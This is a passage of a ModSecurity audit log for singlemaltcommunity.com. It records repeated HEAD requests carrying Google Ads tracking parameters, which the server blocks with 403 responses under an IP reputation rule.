HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.223
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--8d4c796f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8d4c796f-E--

--8d4c796f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273783677327 5991 (- - -)
Stopwatch2: 1789273783677327 5991; combined=4407, p1=311, p2=3781, p3=64, p4=6, p5=245, sr=139, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8d4c796f-Z--

--e205470b-A--
[13/Sep/2026:07:29:43.787738 +0300] aqYmtysVWymXUono-eRRUAAAAAY 95.134.102.156 48430 127.0.0.1 7081
--e205470b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.156
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--e205470b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e205470b-E--

--e205470b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273783781868 5911 (- - -)
Stopwatch2: 1789273783781868 5911; combined=4395, p1=231, p2=3757, p3=62, p4=7, p5=338, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e205470b-Z--

--40b7cf66-A--
[13/Sep/2026:07:29:44.183419 +0300] aqYmuEwu1RSkptiiNIXv6wAAAII 151.243.174.165 48442 127.0.0.1 7081
--40b7cf66-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.165
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--40b7cf66-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--40b7cf66-E--

--40b7cf66-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273784174402 9064 (- - -)
Stopwatch2: 1789273784174402 9064; combined=5916, p1=820, p2=4564, p3=89, p4=7, p5=436, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--40b7cf66-Z--

--ed68696b-A--
[13/Sep/2026:07:29:51.872655 +0300] aqYmv0wu1RSkptiiNIXv7QAAAJI 95.134.102.121 39666 127.0.0.1 7081
--ed68696b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.121
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--ed68696b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--ed68696b-E--

--ed68696b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273791866246 6449 (- - -)
Stopwatch2: 1789273791866246 6449; combined=4593, p1=350, p2=3895, p3=65, p4=6, p5=276, sr=131, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ed68696b-Z--

--8c9fce7b-A--
[13/Sep/2026:07:30:02.922196 +0300] aqYmymM7dE9KgIIOpQhiNgAAAM8 95.134.102.25 60444 127.0.0.1 7081
--8c9fce7b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.25
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--8c9fce7b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8c9fce7b-E--

--8c9fce7b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273802893566 28687 (- - -)
Stopwatch2: 1789273802893566 28687; combined=23829, p1=9164, p2=14199, p3=107, p4=11, p5=347, sr=164, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8c9fce7b-Z--

--19aa4a4b-A--
[13/Sep/2026:07:30:03.315561 +0300] aqYmy2M7dE9KgIIOpQhiOAAAANU 95.134.102.147 60460 127.0.0.1 7081
--19aa4a4b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--19aa4a4b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--19aa4a4b-E--

--19aa4a4b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273803302297 13462 (- - -)
Stopwatch2: 1789273803302297 13462; combined=8704, p1=448, p2=7312, p3=218, p4=8, p5=718, sr=159, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--19aa4a4b-Z--

--179ff854-A--
[13/Sep/2026:07:30:03.442357 +0300] aqYmy0wu1RSkptiiNIXv7wAAAJE 95.134.102.244 60468 127.0.0.1 7081
--179ff854-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.244
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--179ff854-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--179ff854-E--

--179ff854-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273803432355 10052 (- - -)
Stopwatch2: 1789273803432355 10052; combined=7683, p1=387, p2=6707, p3=226, p4=10, p5=352, sr=196, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--179ff854-Z--

--57e4b97c-A--
[13/Sep/2026:07:30:22.814530 +0300] aqYm3jTJ6xTvcJoem7f2iwAAAFE 95.134.102.128 35136 127.0.0.1 7081
--57e4b97c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.128
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--57e4b97c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--57e4b97c-E--

--57e4b97c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273822806535 8043 (- - -)
Stopwatch2: 1789273822806535 8043; combined=5451, p1=316, p2=4783, p3=84, p4=8, p5=259, sr=124, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--57e4b97c-Z--

--11e6945f-A--
[13/Sep/2026:07:30:24.714481 +0300] aqYm4GM7dE9KgIIOpQhiPQAAANY 95.134.102.245 35174 127.0.0.1 7081
--11e6945f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.245
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--11e6945f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--11e6945f-E--

--11e6945f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273824707067 7459 (- - -)
Stopwatch2: 1789273824707067 7459; combined=5396, p1=288, p2=4707, p3=96, p4=9, p5=296, sr=116, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--11e6945f-Z--

--f12d9760-A--
[13/Sep/2026:07:30:24.761250 +0300] aqYm4GM7dE9KgIIOpQhiPgAAANE 151.243.174.45 35186 127.0.0.1 7081
--f12d9760-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.45
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f12d9760-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f12d9760-E--

--f12d9760-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273824743861 17433 (- - -)
Stopwatch2: 1789273824743861 17433; combined=8897, p1=3900, p2=4577, p3=83, p4=7, p5=330, sr=785, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f12d9760-Z--

--f22c9835-A--
[13/Sep/2026:07:30:24.821954 +0300] aqYm4DTJ6xTvcJoem7f2jAAAAFc 95.134.102.128 35196 127.0.0.1 7081
--f22c9835-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.128
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f22c9835-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f22c9835-E--

--f22c9835-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273824815768 6224 (- - -)
Stopwatch2: 1789273824815768 6224; combined=4572, p1=291, p2=3942, p3=80, p4=7, p5=252, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f22c9835-Z--

--a231db51-A--
[13/Sep/2026:07:30:25.115165 +0300] aqYm4WM7dE9KgIIOpQhiPwAAAMI 151.243.174.135 35212 127.0.0.1 7081
--a231db51-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--a231db51-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--a231db51-E--

--a231db51-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273825108464 6778 (- - -)
Stopwatch2: 1789273825108464 6778; combined=5067, p1=277, p2=4395, p3=102, p4=7, p5=286, sr=136, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a231db51-Z--

--a1ce0827-A--
[13/Sep/2026:07:30:25.474350 +0300] aqYm4TTJ6xTvcJoem7f2jQAAAFI 151.243.174.103 35228 127.0.0.1 7081
--a1ce0827-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.103
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--a1ce0827-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--a1ce0827-E--

--a1ce0827-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273825468738 5650 (- - -)
Stopwatch2: 1789273825468738 5650; combined=4208, p1=237, p2=3666, p3=61, p4=7, p5=237, sr=106, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a1ce0827-Z--

--5a186358-A--
[13/Sep/2026:07:30:54.401280 +0300] aqYm-mM7dE9KgIIOpQhiQgAAAMg 95.134.102.107 58684 127.0.0.1 7081
--5a186358-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.107
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--5a186358-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5a186358-E--

--5a186358-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273854391221 10110 (- - -)
Stopwatch2: 1789273854391221 10110; combined=6738, p1=414, p2=5883, p3=100, p4=8, p5=333, sr=146, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5a186358-Z--

--e6b43065-A--
[13/Sep/2026:07:30:54.763127 +0300] aqYm-mM7dE9KgIIOpQhiQwAAAMo 95.134.102.162 58700 127.0.0.1 7081
--e6b43065-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.162
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--e6b43065-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e6b43065-E--

--e6b43065-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273854752401 10824 (- - -)
Stopwatch2: 1789273854752401 10824; combined=7218, p1=2217, p2=4556, p3=99, p4=9, p5=337, sr=1313, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e6b43065-Z--

--0112d81b-A--
[13/Sep/2026:07:30:55.114389 +0300] aqYm-2M7dE9KgIIOpQhiRAAAAM4 151.243.174.149 58714 127.0.0.1 7081
--0112d81b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.149
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--0112d81b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--0112d81b-E--

--0112d81b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273855107836 6594 (- - -)
Stopwatch2: 1789273855107836 6594; combined=4794, p1=254, p2=4174, p3=84, p4=7, p5=275, sr=92, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0112d81b-Z--

--851fb73d-A--
[13/Sep/2026:07:30:57.389018 +0300] aqYnAUwu1RSkptiiNIXv8gAAAIo 95.134.102.128 41696 127.0.0.1 7081
--851fb73d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.128
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--851fb73d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--851fb73d-E--

--851fb73d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273857382177 6881 (- - -)
Stopwatch2: 1789273857382177 6881; combined=5108, p1=259, p2=4456, p3=76, p4=8, p5=308, sr=117, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--851fb73d-Z--

--2c72aa43-A--
[13/Sep/2026:07:30:57.749518 +0300] aqYnAUwu1RSkptiiNIXv8wAAAIM 151.243.174.123 41708 127.0.0.1 7081
--2c72aa43-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--2c72aa43-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--2c72aa43-E--

--2c72aa43-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273857741931 7648 (- - -)
Stopwatch2: 1789273857741931 7648; combined=5755, p1=262, p2=5096, p3=82, p4=8, p5=306, sr=118, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2c72aa43-Z--

--12a8c532-A--
[13/Sep/2026:07:31:05.463541 +0300] aqYnCUwu1RSkptiiNIXv9AAAAJc 151.243.174.13 41724 127.0.0.1 7081
--12a8c532-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.13
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--12a8c532-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--12a8c532-E--

--12a8c532-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273865453057 10542 (- - -)
Stopwatch2: 1789273865453057 10542; combined=5168, p1=282, p2=4535, p3=75, p4=8, p5=267, sr=128, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--12a8c532-Z--

--2f0fc71a-A--
[13/Sep/2026:07:31:05.553397 +0300] aqYnCWM7dE9KgIIOpQhiRgAAAMk 95.134.102.76 44978 127.0.0.1 7081
--2f0fc71a-B--
